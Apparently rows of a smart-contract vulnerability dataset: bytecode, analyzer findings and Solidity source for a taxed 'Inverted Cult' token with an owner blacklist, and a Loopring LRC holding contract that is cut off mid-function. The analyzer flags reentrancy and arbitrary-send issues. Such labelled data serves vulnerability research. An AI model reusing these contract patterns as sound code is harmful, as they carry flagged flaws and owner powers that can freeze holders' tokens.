0608001529392505050565b60008219821115611d1d57611d1d611d93565b500190565b600082611d3d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5c57611d5c611d93565b500290565b600082821015611d7357611d73611d93565b500390565b6000600019821415611d8c57611d8c611d93565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204ae9db9a2dc9c06a2e644d4a74e39ce2a8296f36eac00b8c26f1abdb7640d2d264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,497 |
0x0C28654798fF898DB920543bb14701dc21Ba45a9
|
/**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
// SPDX-License-Identifier: UNLICENSE
/**
Investing in the revolution
Supply: 4000000
Max TX: 40000
Tax: 12%
TG: https://t.me/invcult
**/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract InvCult is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 4000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Inverted Cult";
string private constant _symbol = "INVCULT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = _tTotal.div(100);
emit Transfer(address(0x0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
_feeAddr1 = 7;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 7;
_feeAddr2 = 5;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function increaseMaxTx(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function addToSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiq() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb14610336578063b515566a14610356578063c3c8cd8014610376578063d91a21a61461038b578063dd62ed3e146103ab578063e9e1831a146103f157600080fd5b8063715018a61461029e5780637d1db4a5146102b35780638a8c523c146102c95780638da5cb5b146102de57806395d89b411461030657600080fd5b8063313ce567116100f2578063313ce5671461021857806339c96774146102345780635932ead1146102495780636fc3eaec1461026957806370a082311461027e57600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b257806323b872dd146101d6578063273123b7146101f657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c125b9d995c9d19590810dd5b1d609a1b60208201525b6040516101799190611626565b60405180910390f35b34801561018e57600080fd5b506101a261019d3660046116a0565b610406565b6040519015158152602001610179565b3480156101be57600080fd5b50660e35fa931a00005b604051908152602001610179565b3480156101e257600080fd5b506101a26101f13660046116cc565b61041d565b34801561020257600080fd5b5061021661021136600461170d565b610486565b005b34801561022457600080fd5b5060405160098152602001610179565b34801561024057600080fd5b506102166104da565b34801561025557600080fd5b50610216610264366004611738565b6106a6565b34801561027557600080fd5b506102166106ee565b34801561028a57600080fd5b506101c861029936600461170d565b6106fb565b3480156102aa57600080fd5b5061021661071d565b3480156102bf57600080fd5b506101c8600f5481565b3480156102d557600080fd5b50610216610791565b3480156102ea57600080fd5b506000546040516001600160a01b039091168152602001610179565b34801561031257600080fd5b5060408051808201909152600781526612539590d5531560ca1b602082015261016c565b34801561034257600080fd5b506101a26103513660046116a0565b6107d0565b34801561036257600080fd5b5061021661037136600461176b565b6107dd565b34801561038257600080fd5b50610216610931565b34801561039757600080fd5b506102166103a6366004611830565b610947565b3480156103b757600080fd5b506101c86103c6366004611849565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103fd57600080fd5b506102166109a0565b6000610413338484610b62565b5060015b92915050565b600061042a848484610c86565b61047c843361047785604051806060016040528060288152602001611a46602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f9d565b610b62565b5060019392505050565b6000546001600160a01b031633146104b95760405162461bcd60e51b81526004016104b090611882565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105045760405162461bcd60e51b81526004016104b090611882565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561053f3082660e35fa931a0000610b62565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a191906118b7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061291906118b7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561065f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068391906118b7565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146106d05760405162461bcd60e51b81526004016104b090611882565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b476106f881610fd7565b50565b6001600160a01b03811660009081526002602052604081205461041790611011565b6000546001600160a01b031633146107475760405162461bcd60e51b81526004016104b090611882565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107bb5760405162461bcd60e51b81526004016104b090611882565b600e805460ff60a01b1916600160a01b179055565b6000610413338484610c86565b6000546001600160a01b031633146108075760405162461bcd60e51b81526004016104b090611882565b60005b815181101561092d57600d5482516001600160a01b0390911690839083908110610836576108366118d4565b60200260200101516001600160a01b0316141580156108875750600e5482516001600160a01b0390911690839083908110610873576108736118d4565b60200260200101516001600160a01b031614155b80156108be5750306001600160a01b03168282815181106108aa576108aa6118d4565b60200260200101516001600160a01b031614155b1561091b576001600660008484815181106108db576108db6118d4565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061092581611900565b91505061080a565b5050565b600061093c306106fb565b90506106f88161108e565b6000546001600160a01b031633146109715760405162461bcd60e51b81526004016104b090611882565b6000811161097e57600080fd5b61099a6064610994660e35fa931a000084611208565b90610b19565b600f5550565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016104b090611882565b600d546001600160a01b031663f305d71947306109e6816106fb565b6000806109fb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a63573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a889190611919565b5050600e805461ffff60b01b19811661010160b01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610af5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f89190611947565b6000610b5b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061128a565b9392505050565b6001600160a01b038316610bc45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b0565b6001600160a01b038216610c255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b0565b6001600160a01b038216610d4c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b0565b60008111610dae5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b0565b6001600160a01b03831660009081526006602052604090205460ff16158015610df057506001600160a01b03821660009081526006602052604090205460ff16155b610df957600080fd5b6007600a556005600b556000546001600160a01b03848116911614801590610e2f57506000546001600160a01b03838116911614155b15610f8d57600e546001600160a01b038481169116148015610e5f5750600d546001600160a01b03838116911614155b8015610e8457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e995750600e54600160b81b900460ff165b15610ec357600f54811115610ead57600080fd5b600e54600160a01b900460ff16610ec357600080fd5b600d546001600160a01b03848116911614801590610efa57506001600160a01b03831660009081526005602052604090205460ff16155b15610f2057600e546001600160a01b0390811690831603610f20576007600a556005600b555b6000610f2b306106fb565b600e54909150600160a81b900460ff16158015610f565750600e546001600160a01b03858116911614155b8015610f6b5750600e54600160b01b900460ff165b15610f8b57610f798161108e565b478015610f8957610f8947610fd7565b505b505b610f988383836112b8565b505050565b60008184841115610fc15760405162461bcd60e51b81526004016104b09190611626565b506000610fce8486611964565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092d573d6000803e3d6000fd5b60006008548211156110785760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104b0565b60006110826112c3565b9050610b5b8382610b19565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d6576110d66118d4565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561112f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115391906118b7565b81600181518110611166576111666118d4565b6001600160a01b039283166020918202929092010152600d5461118c9130911684610b62565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c590859060009086903090429060040161197b565b600060405180830381600087803b1580156111df57600080fd5b505af11580156111f3573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b60008260000361121a57506000610417565b600061122683856119ec565b9050826112338583611a0b565b14610b5b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b0565b600081836112ab5760405162461bcd60e51b81526004016104b09190611626565b506000610fce8486611a0b565b610f988383836112e6565b60008060006112d06113dd565b90925090506112df8282610b19565b9250505090565b6000806000806000806112f88761141b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061132a9087611478565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135990866114ba565b6001600160a01b03891660009081526002602052604090205561137b81611519565b6113858483611563565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ca91815260200190565b60405180910390a3505050505050505050565b6008546000908190660e35fa931a00006113f78282610b19565b82101561141257505060085492660e35fa931a000092509050565b90939092509050565b60008060008060008060008060006114388a600a54600b54611587565b92509250925060006114486112c3565b9050600080600061145b8e8787876115d6565b919e509c509a509598509396509194505050505091939550919395565b6000610b5b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9d565b6000806114c78385611a2d565b905083811015610b5b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b0565b60006115236112c3565b905060006115318383611208565b3060009081526002602052604090205490915061154e90826114ba565b30600090815260026020526040902055505050565b6008546115709083611478565b60085560095461158090826114ba565b6009555050565b600080808061159b60646109948989611208565b905060006115ae60646109948a89611208565b905060006115c6826115c08b86611478565b90611478565b9992985090965090945050505050565b60008080806115e58886611208565b905060006115f38887611208565b905060006116018888611208565b90506000611613826115c08686611478565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561165357858101830151858201604001528201611637565b81811115611665576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146106f857600080fd5b803561169b8161167b565b919050565b600080604083850312156116b357600080fd5b82356116be8161167b565b946020939093013593505050565b6000806000606084860312156116e157600080fd5b83356116ec8161167b565b925060208401356116fc8161167b565b929592945050506040919091013590565b60006020828403121561171f57600080fd5b8135610b5b8161167b565b80151581146106f857600080fd5b60006020828403121561174a57600080fd5b8135610b5b8161172a565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561177e57600080fd5b823567ffffffffffffffff8082111561179657600080fd5b818501915085601f8301126117aa57600080fd5b8135818111156117bc576117bc611755565b8060051b604051601f19603f830116810181811085821117156117e1576117e1611755565b6040529182528482019250838101850191888311156117ff57600080fd5b938501935b828510156118245761181585611690565b84529385019392850192611804565b98975050505050505050565b60006020828403121561184257600080fd5b5035919050565b6000806040838503121561185c57600080fd5b82356118678161167b565b915060208301356118778161167b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118c957600080fd5b8151610b5b8161167b565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611912576119126118ea565b5060010190565b60008060006060848603121561192e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195957600080fd5b8151610b5b8161172a565b600082821015611976576119766118ea565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119cb5784516001600160a01b0316835293830193918301916001016119a6565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611a0657611a066118ea565b500290565b600082611a2857634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a4057611a406118ea565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205767b2bfa1a55fd1b5fe3784e05aad03d55383be94e4958765164754cd89bc8f64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,498 |
0x239de3a0d6ca5f21601f83327ea2174225eb7156
|
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/// @title Long-Team Holding Incentive Program
/// @author Daniel Wang - <<span class="__cf_email__" data-cfemail="6b0f0a05020e072b0704041b1902050c4504190c">[email protected]</span>>, Kongliang Zhong - <<span class="__cf_email__" data-cfemail="23484c4d444f4a424d44634f4c4c53514a4d440d4c5144">[email protected]</span>>.
/// For more information, please visit https://loopring.org.
contract LRCLongTermHoldingContract {
using SafeMath for uint;
using Math for uint;
// During the first 60 days of deployment, this contract opens for deposit of LRC.
uint public constant DEPOSIT_PERIOD = 60 days; // = 2 months
// 18 months after deposit, user can withdrawal all or part of his/her LRC with bonus.
// The bonus is this contract's initial LRC balance.
uint public constant WITHDRAWAL_DELAY = 540 days; // = 1 year and 6 months
// Send 0.001ETH per 10000 LRC partial withdrawal, or 0 for a once-for-all withdrawal.
// All ETH will be returned.
uint public constant WITHDRAWAL_SCALE = 1E7; // 1ETH for withdrawal of 10,000,000 LRC.
// Ower can drain all remaining LRC after 3 years.
uint public constant DRAIN_DELAY = 1080 days; // = 3 years.
address public lrcTokenAddress = 0x0;
address public owner = 0x0;
uint public lrcDeposited = 0;
uint public depositStartTime = 0;
uint public depositStopTime = 0;
struct Record {
uint lrcAmount;
uint timestamp;
}
mapping (address => Record) records;
/*
* EVENTS
*/
/// Emitted when program starts.
event Started(uint _time);
/// Emitted when all LRC are drained.
event Drained(uint _lrcAmount);
/// Emitted for each sucuessful deposit.
uint public depositId = 0;
event Deposit(uint _depositId, address indexed _addr, uint _lrcAmount);
/// Emitted for each sucuessful deposit.
uint public withdrawId = 0;
event Withdrawal(uint _withdrawId, address indexed _addr, uint _lrcAmount);
/// @dev Initialize the contract
/// @param _lrcTokenAddress LRC ERC20 token address
function LRCLongTermHoldingContract(address _lrcTokenAddress, address _owner) {
require(_lrcTokenAddress != address(0));
require(_owner != address(0));
lrcTokenAddress = _lrcTokenAddress;
owner = _owner;
}
/*
* PUBLIC FUNCTIONS
*/
/// @dev start the program.
function start() public {
require(msg.sender == owner);
require(depositStartTime == 0);
depositStartTime = now;
depositStopTime = depositStartTime + DEPOSIT_PERIOD;
Started(depositStartTime);
}
/// @dev drain LRC.
function drain() public {
require(msg.sender == owner);
require(depositStartTime > 0 && now >= depositStartTime + DRAIN_DELAY);
uint balance = lrcBalance();
require(balance > 0);
require(Token(lrcTokenAddress).transfer(owner, balance));
Drained(balance);
}
function () payable {
require(depositStartTime > 0);
if (now >= depositStartTime && now <= depositStopTime) {
depositLRC();
} else if (now > depositStopTime){
withdrawLRC();
} else {
revert();
}
}
/// @return Current LRC balance.
function lrcBalance() public constant returns (uint) {
return Token(lrcTokenAddress).balanceOf(address(this));
}
/// @dev Deposit LRC.
function depositLRC() payable {
require(depositStartTime > 0);
require(msg.value == 0);
require(now >= depositStartTime && now <= depositStopTime);
var lrcToken = Token(lrcTokenAddress);
uint lrcAmount = lrcToken
.balanceOf(msg.sender)
.min256(lrcToken.allowance(msg.sender, address(this)));
require(lrcAmount > 0);
var record = records[msg.sender];
record.lrcAmount += lrcAmount;
record.timestamp = now;
records[msg.sender] = record;
lrcDeposited += lrcAmount;
Deposit(depositId++, msg.sender, lrcAmount);
require(lrcToken.transferFrom(msg.sender, address(this), lrcAmount));
}
/// @dev Withdrawal LRC.
function withdrawLRC() payable {
require(depositStartTime > 0);
require(lrcDeposited > 0);
var record = records[msg.sender];
require(now >= record.timestamp + WITHDRAWAL_DELAY);
require(record.lrcAmount > 0);
uint lrcWithdrawalBase = record.lrcAmount;
if (msg.value > 0) {
lrcWithdrawalBase = lrcWithdrawalBase
.min256(msg.value.mul(WITHDRAWAL_SCALE));
}
uint lrcBonus = getBonus(lrcWithdrawalBase);
uint balance = lrcBalance();
uint lrcAmount = balance.min256(lrcWithdrawalBase + lrcBonus);
lrcDeposited -= lrcWithdrawalBase;
